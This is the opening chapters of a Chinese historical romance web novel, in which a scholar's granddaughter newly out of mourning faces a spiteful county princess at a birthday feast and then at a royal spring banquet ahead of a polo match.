《春水迟》
1. 出孝
皇城附近的一处四进府邸,虽是刚用过朝食,正是一日洒扫活计忙碌之时,廊下穿行的仆从却不见急躁之色,行止有序。
不大的花园西侧,一处院子的正房中传出低低的讨论声。
一个略微含糊的少女声音“知情姐姐,咱们今儿个还准备吗,我瞧着出了前儿个的事......”
娃娃脸的少女梳着双丫髻,十五六岁的年纪,说话间咽下了嘴里含着的饴丝糖,肉乎乎的脸上皱起了眉头“二姑娘不能去了吧,去让那起子人看笑话”。
另一个差不多发式、服式的鹅蛋脸少女,约莫十七八岁,闻言,手上的活计略顿了顿,抬头望了东梢间一眼,只望到了低垂的帐幔和帐幔后若隐若现的屏风。
她抿了抿嘴,低头继续熨烫手上的月白色裙衫。
“那起子黑心烂肝人说的话你记到现在做什么,那都是妒忌姑娘罢了,姑娘更不会放在心上,你去妆奁把姑娘的浅杏色娟花找出来,我瞧着衬这衣裳......”
“那也太素气了些,还是那支金海棠珠花步摇更配些”。
娃娃脸的少女叫知意,闻言不太赞同,“这个端庄又大气,最衬姑娘的气质了即便县主娘娘看见了,都挑不出来我们的毛病”
“你懂什么”,知情摇摇头,“姑娘刚出了孝,哪里是争头露脸的时候,姑娘又不是再种掐尖要强的,何苦给人留那话柄”。
知意蹙着眉头,刚要再争取一下,东梢间传来响动,却见帐幔分开,一个着藕色家常衫裙的女子走了出来。
“就簪大伯娘前儿个送来的累丝嵌珠玉花蝶金簪吧”
“姑娘”知情忙迎了过来,替出来的少女打帐幔,一边系拢一边道,“今儿个的字写完了”
知意听见自家姑娘的声音忙把嘴里含的已剩小小一块的饴丝糖咽下,思索了下,圆乎乎的脸蛋随即露出恍然的神色。
“是呢,我怎的没想到,还是姑娘最会搭配,姑娘的裙衫是月白色的,搭配烟色半臂,一身略清淡了些,这支簪子正好是是色彩点缀,这支簪子上嵌珠玉花蝶,正是端庄又不失灵动,大气又不低调”。
刚洗去手上练字残留的墨渍,坐到罗汉床上顾珂闻言不由失笑,“知意姑娘这真是大有长进,下回祖父屋里伺侯笔墨的姐姐们再有忙不过来的,应把你送去,才不算埋没了我们知意姑娘的才学”。
“姑娘!”知意闻言忙捂住自已的嘴,苦着脸,找个理由赶紧溜了“我去拿簪子!”
老太爷那的姐姐们天天要被老太爷抓着练字,每天弄的一身墨渍,好可怕,才不去!
知情从桌子上倒了一杯温好的茶,递到顾珂手上,回头打开窗子,让春光洒进来。
“大姑娘的身边的白芍姐姐刚刚来问过,说大夫人、大姑娘已经准备好了,说等姑娘今儿个的字写好了,随时就可以出发了”
顾珂轻啜口茶,轻点点头,“给我梳妆吧,别让伯母和姐姐久等了”,语罢放下茶盏,走到妆台前坐下。
“庆王府在曲江池边上那个园子听说后面连了个挺大的场地,可以跑马,打马球,估计姐姐早就坐不住了”。
主仆二人自是梳妆更衣不提。过了会子却是知意找到簪子回来了,“找到了”
知情接过来,在顾珂的发髻上比划,寻找合适的位置,今天她给顾珂梳了个随云髻。
知意凑过来,一边欣赏知情给顾珂簪簪子,一边满意的点头,“姑娘肤白,合就应该多戴这些金啊玉啊的簪子,又贵气又好看,看县主娘娘还能诋毁姑娘什么......”
“知意,还多嘴!”知情眉梢拧起,打断了知意的话,“还不去把备用的衣裳物件安排人给姑娘装到车上,前儿个姑娘的帕子不见了,还不准备好”。
知意虽觉得说的没错,但她一向视知情为姐姐,很听她的话,忙噤声去做事。
知情一边梳头,一边从铜镜中打量顾珂的神色,"姑娘别在意......"
顾珂却是轻摇了摇头,脸上神色和缓,“无妨”。
知情忙转移话题,观察顾珂神色,见她不似做伪,这才慢慢放下心来,心中却是叹了口气。
叹的是姑娘这等官宦人家的闺阁千金,也有不如意的时候。
前儿个顾珂被庆王府的静宁县主当面说了些不中听的,今儿个又是庆王设的春宴,二女这才有了刚才的嘀咕。
顾珂没注意身后人的神色,知道她二人是因为她前儿个在柳尚书府与静宁县主发生了些不愉快,今儿个又是庆王府设的春宴,担心之下,这才有了刚才的嘀咕。
这样想着,目光却被飘到妆台上的一朵玉兰花吸引,眼前又回想起了那日的事,慢慢的恍了神。
顾珂的祖父顾衡是本朝最有名气的大儒,最擅丹青、笔墨,自创楷书笔体。人称顾楷。
老爷子三年前在国子监祭酒的任上致仕。
这顾衡有二子,长子顾伯山,在礼部待郎任上,娶妻老西平侯嫡次女杜氏,育有一子一女。
一子顾琊今年二十二岁,自幼好武,前几年跟着镇守西北的舅舅现任西平侯去了营里历练,在跟西北部族的几次小冲突中立了些军功,现在是振威校尉,可以称一声小将军了。
顾琊自幼与舅家的表妹西平侯嫡女杜忘真定了亲,就等着今年回来完婚。
顾伯山另有一女顾珈,今年已是双十年华,比顾珂大上三岁。
顾珂的父亲顾怀仁在鸿胪寺卿的任上,四年前他的发妻,也就是顾珂的母亲去世,续娶季氏,另育有二岁的儿子顾珩。
因着顾衡的老妻王氏,也就是顾珈顾珂的祖母三年前去世,姐妹守孝三年,亲事不免被耽搁了,这就有了前儿个几天的事。
那日是二月初十,礼部尚书柳府的老夫人六十岁寿诞,因着顾伯山在礼部任职,与上司、同事关系也都经营的不错,故这柳老夫人的寿诞,杜氏也领着顾珈、顾珂二姐妹去了。
这顾珂四年前先守母孝
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,再逢祖母王氏过世,姐妹二人又守了三年的孝,亲事都被耽搁了。
这上月姐妹二人刚除了孝,杜氏就等着这种聚会好领姐妹二人出去露露脸,好说亲。
她对姐妹二人还是挺有自信的,自家姑娘的脸蛋、身段,杜氏每每见了总会骄傲。
在这长安城,她还真没见过比顾珈更漂亮的小娘子,若碰上合适说亲的人,肯定没别的竞争对手什么事。
自家姑娘要容貌有容貌,要才华有......容貌,恩,要才华还有顾珂,杜氏每每想到这,总会安慰自已。
无他,这顾珈跟别的闺秀不一样,随了自已,自幼喜爱刀枪棍棒,她哥哥顾琊尚且能看看兵书,顾珈是一看书就犯困。
老太爷每每看见就跺脚叹气,回头看看顾珂才又满意了起来。
老爷子常说这个家只有顾珂能继承他的衣钵,且顾珂虽容貌较顾珈普通了些,但才名在外,人又端庄大方,正是时下最受主母喜爱的闺秀类型。
故到了这一日,杜氏满腔自信,兴冲冲领着姐妹二人去赴宴,准备让姐妹二人好好在贵妇圈子挂上个号。
却出了点不愉快。
初时还好,顾珈姐妹虽久未参加这种大型聚会,但平日里也有相熟的手帕交,且顾珈随和大方、顾珂端庄温雅,倒也很快就融了进去。
午宴罢顾珈跟着几位姑娘去玩投壶,顾珂早上习了字又犯了食困,便让柳府的丫头引着想去房间午憩,行到一处园子,身后传来了一道男声。
“可是顾家二姑娘?”
顾珂回过身,见月洞门那边那立着个着秋香色锦袍的男子。
“柳三公子”顾珂看见来人,心中有些许意外碰到人的惊讶,凭着记忆认出来人是柳尚书的嫡三子柳溢之,守孝前倒也见过几面,随即礼貌一笑见礼。
柳溢之本就生得唇红齿白、面如冠玉的一张脸,见顾珂看了来,玉般的面容上因惊喜又增加了几分神彩,倒是一个如玉般的少年郎。
他上前几步,跟顾珂见了礼,明亮的眼眸中掩饰不住的惊喜,“听说二姑娘来了,在下赶紧想个由头脱了身在此等候,顾二姑娘近来可安好”。
顾珂心中疑惑,面上却不显,“柳三公子安好,找我可是有事”
柳溢之举了举手中东西,顾珂这才注意到他手中握着一把空白扇面的扇子。
柳溢之略有些难以启齿,道“一直仰慕大司成和顾二姑娘的字,在下也收集了大司成的几篇字临摹,可总是不得要领,再过几个月我该弱冠了,祖父前儿个已为我取了字,想请二姑娘赐了墨宝”。
倒底是世家少年郎,虽是即将弱冠,这般对别家姑娘请求也是有些底气不足,耳朵尖亦泛起了红晕。
“我知道有些唐突姑娘,实是在下心中实在喜爱这字,这才冒昧相请,还请姑娘莫要见怪”。
顾珂正待开口,却传来一道怒气冲冲的女声,“我说你怎么跑了,原来是跑到这跟人私会来了”
2. 口角
闻听此言,柳溢之脸色瞬间胀的通红,笑容随即收敛,转身面向来人,不悦道,"还请县主慎言,在下只是慕顾二姑娘的字,在此求教,何谈私会,县主张口就来,却怕给别人带来莫须有的困扰"。
静宁县主本就带着怒气来的,她一直中意柳溢之。
刚才众人谈笑玩耍间,就见柳溢之似心中有事,后又悄悄离席,她心中生疑,果然见他让一年青女子题字,不由大怒。
此刻见柳溢之斥责自已,芙蓉面上怒气更盛,又怒又妒。
她打量了顾珂几眼,忽的冷笑道,“我道是谁呢,原来是顾家的老姑娘,在这卖弄那点子雕虫小技,可惜了,纵是吟风弄月,也不过是孤芳自赏,还不如你姐姐,有那么三分姿色,你这知道的人说一声清高自持,实际则是无人求娶罢了,难怪一出了孝就往男人堆里扎了,看来也却实是着急了”。
柳溢之大怒,此时也不仅暗怪自已的鲁莽,使顾珂受自己牵连遭此刻薄言词。
他胸膛剧烈起伏,厉声道,“县主张口闭口如市井泼妇一般,随意贬损牵连他人,哪里还有一点天家的风范!”
说罢,转身对着顾珂拱手行了一礼,歉然道“是在下考虑不周了,让姑娘受此牵连,还请莫要理会,污了姑娘清听”。
静宁县主冷哼一声“市井泼妇又如何,说的却是事实,未婚男女赠字,这不就是孤男寡女,私相授受么,表面上的是闺中才女,实责都是自抬身价的手段罢了”。
”你!“柳溢之见她说的越发不堪,正要再与她理论,却气的一时语塞。
“本朝最重孝道,先帝去世,圣人哀伤辍朝,结庐三年,县主人品贵重,向来最受王爷、王妃宠爱,想来最是应懂为人子女的孝悌本份,更不会拿来说人长短”。
顾珂轻缓的声音传来,声音温温柔柔的,不高不低的传进耳里,却莫名的带着种力量。
“想来县主出身天家,格局眼界早在我等之上,我们女子的价值,从来不是靠年岁与夫家,不在婚嫁之上,更不在容貌年岁,而是胸中丘壑,笔下山河,如惠和公主,胆识与气魄不输男儿,率领私卫勤拿反贼永王,匡扶正统,谁人不赞一声女中英豪,先端成皇后著书立传,率领农学士编撰《古今农注》,惠及百姓苍生,千秋万代,想来县主眼中的她们应也不是只有容貌年岁几何,所嫁何人这样浅薄的评价,所以县主也不要再与我等开这样的玩笑,徒让他人误解。”
顾珂又对柳溢之道“多谢柳公子对顾楷的抬爱,六月初十是祖父生辰,祖父在樊楼设雅集,祖父向来惜才,还请柳公子拨冗前来,想来一定会得偿所愿。"
语罢,也不看静宁县主的反应,行了一礼,便要告辞。
转身的瞬间,眼角瞥见一道人影,本能的转头望去,这一眼却愣住了,玉兰树下不知何时立着个年轻男子。
那人立在玉兰树下,也不知听了、看了这场闹剧多久,却始终没出声,他逆着光,看不清表情,只能看见修长的轮廓。
光线给他镶了一道金边,肩宽腰窄,仅仅是站在那里,就让人移不开眼。
以顾珂的角度,本不应看清他的眼睛,顾珂却莫名觉得他正在看自已。
见自已被发现,那人也没有偷听的自觉和尴尬,唇角带着一丝笑意,自玉兰树下慢慢行出。
顾珂终于看清了他的面容。
那人着青石色暗纹锦袍,脚踏黑色云纹长靴,腰间束以玉带,坠着一块羊脂玉,随着步伐轻轻摇曳。
发丝以一根简约的玉簪轻轻挽起,露出光洁的额头,更显容貌昳丽。
顾珂垂下的手不由握紧,掌中传来微微的湿意,耳边传来了自已如雷的心跳,思绪被拽回过五年前的黑夜。
记忆中的人影渐渐与面前的人重合,有些一样,又有些不一样了。
直到来人一声带着笑意的轻咳拉回了顾珂的回忆,她握了握拳,定了定神。向来人行了一礼,转身离开这场闹剧。
指尖轻捻手中的玉兰花瓣,顾珂回过神来,心中不由暗笑自己当时,有种落荒而脱的意味。
本来未见他时,虽然无端受指摘,但她对静宁县主的话并不在意,也自认进退得当,并未失了祖父、母平日里教养的风度。
但是转头看见来人时,似乎有人在她的脑袋旁放爆竹,炸的她大脑一片茫然。
大概是本能的自我保护,只想尽快逃离这里,怕泄露什么情绪,让人窥见端倪。
直到上了去赴宴的马车,使得顾珂从这些思绪全部脱离。
顾大夫人杜氏已经等在马车上,杜氏是老西平侯嫡女。
西平侯是武将家庭,早前老西平侯孤身从军,凭着一杆枪威震西北,慢慢攒下了军功,这才打下了西平侯府的家底,改换了门庭。
这杜氏自小长在西北,也是从小当男儿一样养,故而性格与长安一般的深闺夫人不同。
大约是人没有什么,就慕什么,杜家都喜爱读书人,儿女联姻的大都是读书人家。
这杜氏年轻时也是,一次出门碰上了新科进士打马游街,在人堆里一眼相中了刚中进士的顾珂大伯顾伯山,当天下午老西平侯托来探口风的人就登了门。
顾珂祖父顾衡也不是那种执着于读书清流门弟的人,仔细斟酌后,竟觉得自儿个过于圆滑的大儿子找这么个直来直去的媳妇也挺互补。
找由子让二人见了两面,且杜氏虽与一般沉静端庄的闺秀不同,却也实在美貌,问了几次大儿子,见他也并不反对,做主成就了这番姻缘。
也不知是顾老爷子的眼光毒辣,还是杜氏的武力慑人,杜氏嫁过来二十年,与顾伯山同龄的官人老爷们早就娇妻美妾环绕,而顾伯山身边除了杜氏,连个母苍蝇的影子都没有。
杜氏秉持杜家家风,对于两个儿女,也是盼着能出个文曲星转世、女中诸葛的。
可惜一双儿女都随了她,只好武艺,尤其顾珈,连性子都与她年轻时颇为相似。
杜氏每每想到这就头疼,顾琊是个男儿,从文可,从武亦没什么不好,跟着舅舅、表兄们在军中历练,也是不愁前程的。
只这顾珈这天天拘不住的性格如何是好,今天跟五陵少年们去曲江边上宴饮,明天跟追随者们又去乐游原上跑马,哪家贵妇主母看到了都皱眉头。
好在顾珈的卖相还不错,很是有几个追随者们,才算稍感安慰。
因着顾珂的母亲前几年离世,这为顾珂寻亲事的重任也落到了杜氏肩膀上
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二人正是花信年华,却因守孝生生耽搁了三年,杜氏觉得自已的头发都愁白了几根。
不说顾珈都二十了,旁的闺秀们在这个年龄,娃娃都会跑了,连顾珂都十七了,才说亲,着实有些晚了。
这刚出了孝,蛰伏了三年的杜氏摩拳擦掌,只待大干一场。
差不多的府邸宴请,一概不多挑剔,打算走广撒网的路子,好让二人在长安的贵妇圈子露露脸,说不定哪一次就碰上正缘了。
“让大伯母久等了”顾珂上了车,刚与杜氏问好,光线陡的乍亮,却是马车窗帘被人掀起,露出一张美艳的面庞。
“蓁蓁,莫辜负了这好春光,你下来,咱们一起骑马去”,却是顾珈。
蓁蓁是顾珂的小字。
顾珂向外望去,顾珈桃花般的脸上薄施粉黛,却眉长入鬓,目中如含着秋水般波光盈盈,说话间顾盼神飞,勾人心魄。
温柔的春光洒在她身上,更她的笑意都填了些明媚,就这样笑意盈盈的看着顾珂。
她穿了一身男子的湘色圆领袍坐在青骢马上,又凭填了几分潇洒风流。
顾珂暗叹了声,姐姐今天定又不知要迷倒多少小郎君、小姑娘的芳心。
她看见顾珈额上隐隐沁出了些薄汗,想来长姐应是等她等等的无聊了,先跑了几圈马,便掏出手帕递过。
“不了,长姐也进来消消热气吧,一会该跑的满身是汗的”。
“无妨”顾珈略擦了擦,又将手帕递还给顾珂,芙蓉面上柳眉微蹙,“要不是知道庆王那园子后能跑马,我才不来呢,那些妹妹们的裳啊、帕啊,诗啊、词啊,实在是无聊,坐在车里太闷了,左不过一会也是要出汗,我就不进去了”。
“你这冤孽!”坐在车里的杜氏闻言,柳眉倒竖,骂道,“一会你有点规矩的样子,你就老老实实的跟着珂姐儿,珂姐儿干嘛你就干嘛,休得乱跑,仔细剥了你的皮!”。
“是是是,母亲说的是”,杜珈早习惯了母亲的这套说教,敷衍道,还不忘冲顾珂挤挤眼睛。
“放心吧,大伯娘,姐姐有分寸的”,顾珂笑着安抚杜氏,杜氏这才压了压火气,三人这一乘一骑的便去往庆王在曲江边的园子。
这庆王的女儿不是别人,正是前儿个嘲讽顾氏姊妹的静宁县主。
庆王是当今的叔叔,在先皇去世、当今登基时站对了队,故颇受当今敬重,自是有一帮烧热灶的。
庆王与他的宝贝女儿一样好热闹,他办的春宴,更是广下帖子。
故而姐妹一行走到园子门口,已见王府主事不停的迎人下车,门前络绎不绝。
静宁县主正在门口迎她的手帕交,瞧见来的是顾家人,冷哼一声,背过身去,迎向了刚刚下了马车的寿光县主。
上次柳府顾珂无端受牵连,也早有人报给顾家的内宅当家人杜氏。
她心中暗怪柳溢之这后生冒失,不会处理事情,凭白给人留出话柄,牵扯到顾珂。
只她也没办法跟小辈计较,此时见了静宁县主的作态,不由反笑,混不在意,转过头,领着姐妹二人往园子里走。
“你们俩可真是让我好等!”
二人刚进门,迎面传来一道女声。
3. 抓阄
早在门边侯着她们的杜忘真笑着迎上来。
“表姐。”
“表妹。”
看看杜忘真,二人眼前一亮,惊喜的上前见礼。杜忘真比顾珈小一岁,比顾珂大两岁,故一个称她为表姐,一个呼她表妹。
杜忘真向姑母杜氏行礼,被杜氏一把扶住,“难得到这样漂亮的园子里玩耍,你母亲早该放你出来了”。
因着还有几月杜忘真将与顾琊完婚,故这些日子都被母亲拘在家里绣嫁妆。
虽然杜家现在也养着绣娘,很多活计并不一定要新娘子动手,但快成亲的小娘子若还总往外跑,难免会招些口舌。
故而三人看到许久未见的杜忘真也是有些惊喜。
尤其杜氏,对这个秀外惠中的侄女,那是打心眼里的喜欢。
有时觉得比顾珈这个抓不着影的亲女儿还贴心些。
虽然顾珂也是文雅娴静,平日里除了练字画画外,也总来陪她絮话。
但杜氏总觉得顾珂跟自已那去世的出身琅琊王氏旁支的婆母一样,肚子里墨水多,说话声音也是不急不缓,温温和和的。
但那似澄澈的眸子就这样看着你时,没来由的,总怕哪里被她笑话,有时让人心里发憷。
还是亲侄女好,杜氏拉着杜忘真的手,越看越满意,她只恨孽子未早早将人娶回来,好分担一下她管家的担子,多一个可以说话的贴心人。
“哎呀,我们应该叫嫂嫂才对,还以为今儿个肯定见不到嫂嫂哪”,顾珈拉着杜忘真的另一支手,打趣道。
闻言,杜忘真脸颊微红,斜飞了顾珈一眼,“当着姑母的面越发的混说了”,倒也不扭捏,“有你叫的时候,倒时候可别抱怨自已是小辈”。
“不怨不怨,有这样的好嫂嫂小多少辈都行,嫂嫂可要多疼我”。
“就你嘴贫”,杜忘真的纤纤食指在顾珈的额头上轻点一下,又拉一旁抿唇微笑的顾珂,“还是二妹妹好,招人稀罕。”
顾珂笑意盈盈的,却道,“我也是希望嫂嫂多疼一些的。”
“这又多了个厉害的小妮子”,杜忘真佯作叹气摇头,望了一下周围,又轻声道“难怪静宁县主在你手里没也讨得好去”。
杜氏略有些惊讶“这样的事外面竟传的这样快?”
杜忘真看了一眼顾珂,顾珂脸上倒没什么变化,依然笑语盈盈的样子,心中不由赞她沉得住气。
“我也是刚刚知晓,刚才韦尚书府的二娘无意间听得静宁县主跟她交好的几个小娘子窃窃私语,言语间提及了二妹妹,韦二娘心善,有些担忧,跟我提了一嘴,以县主的性格,上次的事情想必还没有揭过,咱们这又在人自已家中,防人之心不可无,还是提防些才是”。
“县主又如何,兵来将挡,水来土掩,她要敢为难二妹妹,我就叫满长安的人都知道,她李令仪不分是非,为了一个男人逮谁咬谁,连皇家脸面都置之不顾了”,顾珈冷哼道。
“你说的我如何不明白,只是世人哪里会多区分这里孰是孰非,只要沾上事非,女子总是难免会吃亏,那位又是那样的身份,平日里也并不是多端静的性格,她有恃无恐,光脚的不怕穿鞋的,我们多加小心总是没错的”,杜忘真道。
“谢谢表姐提醒,我今天会多加小心的”,顾珂真心道,顿了顿又轻声道,“我们在这站了这许久,容易招人注意,还是先见过王妃才不失了礼数”。
“可不是”,杜忘真提高了语气,嫣然笑道,“母亲已经进去了,只我在这里等着姑母,我们也赶坚去吧”。遂罢了这话题,招来侯着的王府管理,引着几人去见王妃。
这座曲江边的园子是庆王府置办的别院,园子极大,前面是园林楼阁,后面还连着块跑马场。庆王府常在此处宴饮集会。
几人往王妃所在的正堂行去,跨过高高的门槛,但觉清风阵阵,花香隐隐。
与一般的宅院布局不同,这园子更讲究别致清雅。
穿过碎石铺就的□□前行,先是堆砌而成的假山,假山下是引曲江水建成的池塘,池水波纹潋艳。
再绕过一片草木蕨获的花园,走到庭院的尽头,抬头才见一座飞檐翘角的楼阁,掩映在随风摇曳的花树之间。
几人刚进屋子,顿觉香风阵阵,抬眼间,一片衣香丽影。
主位上斜倚着位看上去美艳妇人,庆王妃应该三十条岁,大约是保养得宜,看上去像二十许的人。
一袭大红遍地织金牡丹云广袖衫,下配绛紫色金线绣缠枝莲纹马面裙,臂挽鹅黄色披帛。
云鬓高绾,发髻正中戴一支累丝金风,凤口垂下的明珠颤颤,流光溢彩,与耳畔的东珠耳珰遥相呼应,更显艳色,正是庆王妃。
庆王妃正耐着性子听众人奉承,对于这样的话,早听得有些腻了,但面上丝毫不显,时不时的挂着得体的微笑接上几句,屋子里的气氛倒也一片融洽。
顾珂几人进来时,早有管事娘子悄声回禀王妃。
顾珂几人依着规矩向王妃行了礼,王妃也礼貌同杜氏寒喧了几句,夸了几句顾珈的容貌,又赞顾珂的才华,还不忘带上杜忘真,称她是闺阁典范,直夸杜氏是有福气的。
倒底是做母亲的,杜氏听了这话心里十分熨帖,忙谦逊几句,又回敬几句,你来我往,竟也显得宾主尽欢。
顾珂正面带微笑镇定自若的接受屋内众人或好奇、或探究的打量。
在王妃说到顾珂时,不知是不是错觉,顾珂心中总觉得王妃的目光在自已身上停顿了片刻。
心中不免苦笑,实在是无枉之灾。
王妃客气了几句后,便打发杜忘真等三人去后园子里玩耍,“顾侍郎夫人在这陪我多说说话,你们姐妹花儿一样水灵,也别拘在我们这听我们絮叨这些妇人间的长短,仪儿他们都在后面园子里呢,什么曲水流觞、斗百草的,听说好像还要打马球,你们也去热闹热闹吧。”
三人遂告了退出来,由管事娘子引着她们去后园。
顾珂等人到后园时,人已经来的差不多了。庆王府这后园亦是亭台轩敞,流水淙淙,随处可见几拳石、几抱山,堪称一步一景。
后园中有几座回廊连接的亭子,大部分的纬子都束了起来,随着春风轻轻摇曳,在池水的倒映下,更添几分意境。
本朝风气较前朝开放些,未婚的少年少女参加些公开的大型聚会,只要不单独相处,并不一定要分列男女席。
故而此时,园子中有男有女,小娘子们大多三三二二的,兴致盎然的跟相熟的手帕交围坐在廊下,探讨着长安哪家的脂粉香而不腻、锦绣阁的裙裳又出了什么新花样。
小郎君们也不好单独扎进脂粉堆里,也都三五成群,或坐在石桌旁品茖,或立于假山
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喷泉旁与同伴高谈阔论。
看到三人进来,韦二娘笑着迎了过来,“你们来了”,话说完瞟了一下周围,看向顾珂,语气中含着担忧,“我刚才看静宁县主又与旁人嘀咕了些什么,只是离的太远,我也不便上前,听不太清,只看她的神情,今天只怕宴无好宴,尤其顾二姑娘,要多加小心才是。”
顾珂道“谢谢韦姐姐告之,今日众目睽睽之下。县主再骄纵,想必也不是那种全无顾忌之人,我会多加小心的,不落单,应该就无大碍。”
杜忘真沉吟片刻道“众目睽睽之下她肯定不能做什么,想等二妹妹落单,也不是那么容易的事。刚才王妃说了,一会估计有些什么玩乐的兴头,她是宴会的主人,就怕她在一会的活动上面动什么手脚,偏游戏罢了,我们还不能说什么”。
“倒是长了脑子,使上阳谋了,左不过是斗诗、斗画什么的,二妹妹虽然最擅书,但是应付他们也不过是小菜一碟。”顾珈道。
顾珂点点头,浅金的光线洒在白晳的皮肤上,她将一丝碎发拢至耳后,眼睛里似有细碎的光,声间不急不缓,安抚几位小娘子“是呢,还有几位姐姐保护我,县主定吃不了我,姐姐们莫要为我忧心,莫负了这好春光才是。听说这次庆王府待客的是湖州贡来的顾渚紫笋,连圣人都颇为称赞,道此茶形如兰蕙,香醉千年,我们先吃吃看,才不枉此行”。
知道顾珂的本事,左右也不知道是什么事,没有一直惴惴不安的道理,几人便也撂开这茬不提,来到亭中,品味这难得一见的顾渚紫笋。
大靖朝时下最流行煎茶法,亭中早备有侍女煮茶,几人坐下时,刚好到第三沸。
只见这侍女将第二沸的茶汤扬于奔涛贱沫的第三沸之上,以沸止沸,动作干净漂亮。
几人不由暗赞,且不论静宁县主其人如何,煮茶的侍女就不落王府门弟。
侍女将分好的茶给几人呈上,躬身行了一礼,退开几步,立于一旁。几人轻啜,果有兰香盈于口中。
几人边欣赏园景边品茗,顾珂品着茶,转过头,看见柳溢之正往自已这边望来。
发现她注意到自已,面色微僵,扯了扯嘴角,歉然的朝顾珂笑了笑,顾珂冲他略点了点头,便收回了视线。
随着传来的说笑声,只见静宁县主与几人走至园子中间。
静宁县主的视线在园中众人身上扫过,最后落在顾珂身上,顾珂觉得那眼神不怀好意,心道,果然不能心怀侥幸,只怕今天恐怕会发生些事情。
静宁县主很快的收回视线,嘴角得意的笑容一闪而过。
她对众人寒喧了几句,又轻咳了下,面对众人道“平日里那些书啊、画啊的,冬日里玩玩也就罢了,想必诸位郎君娘子早腻烦了,今日我们玩些不一样的,才不枉这些花啊蝶啊的都来凑趣,园子后面有个场地,前儿个刚刚拾掇出来,勉强能跑些马,打打马球什么的”。
她顿了顿,状似略带苦脑,又道“只是这马球一场也只能容八人上场,我们这些人,也实是无法都挤在一起”。
说罢,转身从身手侍女手中接过一个上面开小口的木箱。
“所以,咱们今儿个全凭天意,我们来抓阄,一会我们一场一场的抓,哪一场抓到谁,谁就比什么,左不过都是些平常的游戏,玩个乐呵罢了,抓不到马球的,也莫要生气,以后总有机会就是啦。”
4. 马球
众人闻言倒也没人反对,今日能来赴宴的,也是从小就参加些大大小小的宴会,总有些要斗个诗、斗个画什么的雅事。
助个兴罢了,难度也并不高,对于这些从小多少熏陶些的高门贵女、世家子弟都不陌生,故也都不担心。
何况还有可能抽到打马球呢。本朝流行打马球,上至圣人,下至民间学子、富商,都热衷于此道。
宫中更是组织过几次马球会,顾珈守孝前也参加过几次,她本就生得美,练得一手好马球技巧,马上英姿更是夺人心魄。
顾珈的美名就是从那时候渐渐传出来的,很是吸引了几个追随者。
听说镇国公的嫡孙还有那奉国将军家的大公子至今还在痴恋顾珈,只盼能得佳人垂怜。
顾珂心道,果然来了。
看来是在这里等着她,如果她所料不错,想必一会抽中打马球的人中应该很“幸运”的有她。
必竟,外人提起顾珂大部分的印象都是写得一手好字,才学也可,但里面从来都不包括擅长打马球。
如果她是静宁县主,守着现成的马球场地,肯定不会放过这个机会。
如果顾珂马球打的不好,自是在众目睽睽之下出丑。
如果顾珂当真马球打的好,想必静宁县主也早有准备。
赛场之上,马匹奔跑之间发生些冲撞也算寻常,谁又能连想到静宁县主这个东道主,只能怨自已倒霉了,顾珂怎么样都讨不了好。
顾珂在心里暗自苦笑了笑,看来静宁县主也不是完全没有脑子,难为她为了自已还煞费苦心的想出这样天时地利人和的计划。
几人目光交流了一下,都与顾珂想到了一起,都面露担忧。
那边,静宁县主已经按游戏项目开始一个一个的抽签来,并一一当众展示,看上去倒似十分公平。
有不好诗词的抽中了曲水流觞,有盼着一展才华的却抽中了捶丸,抽到不如意的暗皱眉头,抽到心中所盼的则面露喜色。
杜忘真和韦二娘被抽到了曲谁流觞。
她二人虽算不得什么才女,但捶丸和马球就更不擅长了,但她们也不求出众,想来可以应付过去。
故二人小小的松了口气,虽说游戏而已,图个兴致,但谁也不想当众被难住。
随着一场一场游戏的抓阄,转眼间就到了最后一场抓阄,也就是打马球。
而顾珂和顾珈还没被抽到,另外,静宁县主本人也留到了现在。
杜忘真为顾珂担心道“果真如此,二妹妹如何,可能打马球?”
“平日里偶尔也玩玩,想必勉强能够应付,何况还有姐姐在,静宁县主总不会失心疯到把球仗直接扔到我身上”,顾珂倒不甚担心,还不忘宽慰几人。
“万幸大姐姐也在是打马球,有她在,静宁县主必讨不到什么便宜去”,杜忘真闻言略松口气,又细细的嘱咐道,"到时千万离她的马远些,也莫要跟她争球,哪怕她言语相激,也不要上了她的当,影响你的判断。"
“见二妹妹打过几次马球,也不是考状元,对付静宁县主肯定是够用了,她要是敢使什么下三滥的手段”,顾珈冷笑道“那她就来试试,看我的鞭子答不答应”。
顾珈倒是对顾珂很有信心,马球可不是带着球一味的横冲直撞,更是动脑子的游戏。
抢球的时机,击球的突破口等等,都需要冷静的头脑来判断,从这个角度来说,顾珂应该能够做的很好。
说话间,静宁县主那边已经全部抓完。
女子这边,顾珂、顾珈、静宁县主还有一位与静宁县主交好的崔三娘,闺名崔芝芝。
男子们也有些熟面孔,柳溢之、镇国公的嫡孙徐大郎徐肃、庆王次子李时泽,还有一位宰相府的上官三郎上官昭。
活动定在午宴毕的一个时辰后,抓完阄,静宁县主便引着众人入席。
小娘子们的席面摆在池边,未至三月,清风徐徐,倒也宜人。
给女眷们备的是石榴酒,比之葡萄酒喝起来果味更醇厚,盛在白轴高足杯中,色泽格外诱人。
虽是果酒,这酒却劲头十足,几杯下肚,顾珂白晳的脸颊上飞上了红晕。
好酒!顾珂的心中感叹,庆王府果然富贵,这样的好酒才算不虚此行,端起侍女刚刚又斟满的酒,继续啜软起来。
一双眸子俞加亮晶晶的,犹如餍足的猫奴。
顾珂好烈酒,尤爱劲头刚劲的剑南烧春,日常晚膳时总要小酌些,有时还拉上顾琊。
顾琊去军中后,有时顾珈会陪她饮酒,只是顾珂觉得满府中找不到能够与她一较高下的。
就连经常应酬的大伯顾伯山和自小在军中长大的大伯母杜氏,一听顾珂张罗饮酒,也是连连摆手。
喝不过,实是喝不过!
大约是静宁县主的计划开展的顺利,这会儿功夫似是心情很好。
她不时抛出话题、劝酒,连顾珈和顾珈这席都被照顾到,倒不落天家贵女的风范和东道主该有的周道,一时宾主尽欢。
宴毕,有需要休息的自有丫头引着去安排好房间午憩、更衣,也有精力好的三三二二赏起园子或围坐闲谈。
顾珂饮了不少酒,这会身上有些泛懒,也想卧一会养养神,便与杜氏、杜忘真一起随丫头去房间休息。
顾珈因着不困,便自去一会比赛的马球场转转。
一个时辰转瞬即至,知情给顾珂从新梳了头发。
长发高束成利落马尾,未戴珠翠,以一根乌木簪固定,换了一身丁香色金线绣云纹的箭袖骑射服,因顾珂肤白眼圆。
一时间倒像个俊俏的小郎。
到了马球场,其余比赛人员也都到了,大家都换上了骑射服。
顾珈一身红色红云纹骑射服,衬得她更艳色逼人,引得在场的小郎君们频频偷瞟。
顾珈本人倒是早已习惯别人的目光,正跟徐肃在一旁研究一会的配合。
